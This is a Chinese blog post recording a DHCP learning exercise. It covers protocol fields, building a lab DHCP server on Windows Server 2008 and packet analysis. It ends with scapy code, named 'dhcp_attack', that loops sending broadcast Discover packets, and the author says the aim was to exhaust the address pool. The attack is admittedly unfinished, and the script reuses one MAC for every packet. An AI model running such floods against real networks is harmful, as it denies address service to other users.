记录一次DHCP协议的学习过程

DHCP

  • 动态主机设置协议(Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作。

BOOTP

  • BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。

两者关系

  • DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议。BOOTP只用于无盘工作站,DHCP 即可用于无盘站也可用于一般的网络应用。

DHCP常见options类型

options号 options作用
1 设置子网掩码选项。
3 设置网关地址选项。
6 设置DNS服务器地址选项。
50 设置请求IP选项。
52 设置Option附加选项。
53 设置DHCP消息类型。

BOOTP报文字段

op:操作码/消息类型,取值为1或2:

  • 1= BOOTREQUEST (引导请求)
  • 2 = BOOTREPLY (引导应答)

xid: 事务ID,一个随机数,用来匹配引用请求和应答。

Chaddr: Client hardware address,客户端硬件地址,由客户端填写。

option:选项字段

  • 关闭自己家中路由器的dhcp服务

  • 使用windows server2008 搭建本次学习所使用的dhcp服务器

1. 搭建dhcp服务器首先需要做的就是将自己的ip地址设置为静态

2.打开服务器管理器添加角色
在这里插入图片描述

3.勾选dhcp服务,下一步
在这里插入图片描述

4.这里可以看到一个要求就是必须在此计算机设置一个静态ip地址,前面设置过了,下一步
在这里插入图片描述

5.将此静态ip地址作为dhcp服务器的地址
在这里插入图片描述

6.dns服务器地址自己看看着来填,填完可以点右边验证一下是否可用
在这里插入图片描述

7.这里选择不需要,然后下一步
在这里插入图片描述

8.添加一个作用域,名字随便范围给了200-250,网关为当前所在网关,下一步
在这里插入图片描述

9.这里选择禁用ipv6,下一步
在这里插入图片描述
10.确认无误,开始安装
在这里插入图片描述

安装完成后打开虚拟机win7,尝试自动获取地址
在这里插入图片描述
获取到的地址就是dhcp地址池的范围,打开dhcp服务器查看地址池租用,可以看到192.168.3203这个地址正在租用,也就说明服务器搭建完成
在这里插入图片描述

分析下图dhcp请求包,来获取后续需要的参数

  • dhcp服务器:192.168.3.51
  • dhcp地址池:192.168.3.200-250
    在这里插入图片描述
    从图中得知一个完成的DHCP Discover数据包是由Ether/IP/UDP/DHCP构成的
  链路层Ether:
  •    Src:本机mac地址
    
  •    Dst:ff:ff:ff:ff:ff:ff:ff:ff 即为广播地址
    
  网络层IP:
  •    Src:0.0.0.0*
    
  •    Dst:255.255.255.255
    

IP层只是将上一层的mac地址转换成ip地址

  传输层UDP:
  •    Src port:67 
    
  •    Dst port:68 
    

67/68端口分别是为bootp服务开放的端口,通常用来请求ip,dhcp服务使用67端口作为源端口,68端口作为目的端口来广播信息

   应用层DHCP: 
  •    client address:本机mac地址
    
  •    xid :随机值
    
  • 	options:53 Discover
    

得到所有参数后打开scapy测试是否可行
在这里插入图片描述

dhcp_attack = (Ether()/IP()/UDP()/BOOTP()/DHCP())
dhcp_attack[Ether].src = RandMAC()							#给Ether的src设置随机mac
dhcp_attack[Ether].dst = 'ff:ff:ff:ff:ff:ff'				#给Ether的dst设置为广播
dhcp_attack[IP].src = '0.0.0.0'
dhcp_attack[IP].dst = '255.255.255.255'
dhcp_attack[UDP].sport = 68
dhcp_attack[UDP].dport = 67
dhcp_attack[BOOTP].chaddr = RandMAC()						#给BOOTP协议中的chaddr字段设置随机mac
dhcp_attack[BOOTP].xid = 14513								#xid为随机值,随便给
dhcp_attack[BOOTP].flags = 0x8000
dhcp_attack[DHCP].options = [('message-type','discover')]	#给DHCP协议的options设置为discover

在这里插入图片描述

> Dhcp_attack.show()			#确认参数是否无误  	 

> 打开wireshare在后台抓包

> sendp(dhcp_attack)			#没有问题后就发送数据包

> 	Wireshare筛选栏为 dhcp and ip.dst eq 255.255.255.255
就可以看到刚刚发送的数据包了,且第二个还包含的dhcp服务器返回的ip地址

在这里插入图片描述
用python达到自动构建发送dhcp_discover数据包的功能

#!/usr/bin/python

from scapy.all import *
import random

def dhcp_attack():
    random_xid = random.randint(1,1000000)
    random_mac = str(RandMAC())
    i = 1
    while i > 0 :

        dhcp_attack = (Ether()/IP()/UDP()/BOOTP()/DHCP())

        dhcp_attack[Ether].src = random_mac						
        dhcp_attack[Ether].dst = 'ff:ff:ff:ff:ff:ff'
        
        dhcp_attack[IP].src = '0.0.0.0'
        dhcp_attack[IP].dst = '255.255.255.255'

        dhcp_attack[UDP].sport = 68
        dhcp_attack[UDP].dport = 67

        dhcp_attack[BOOTP].chaddr = random_mac
        dhcp_attack[BOOTP].xid = random_xid
        dhcp_attack[BOOTP].flags = 0x8000
            
        dhcp_attack[DHCP].options = [('message-type','discover')]

        try:
            sendp(dhcp_attack,verbose=0)
            i += 1
            print ("sending dhcp_discover packet:%s , Ctrl + Z stop"%i)

        except:
            print ("sending error")

dhcp_attack()


运行效果
在这里插入图片描述

本是想写一个dhcp攻击的过程的,将dhcp地址池的地址全部占用。
一次完整的dhcp过程包括,请求,响应,确认,
但折腾了一天也写不出确认包,没有确认包就无法拿到服务器分配的地址,先放着把,等有头绪再写。

发布了12 篇原创文章 · 获赞 0 · 访问量 579

猜你喜欢

转载自blog.csdn.net/weixin_44344395/article/details/104601004
今日推荐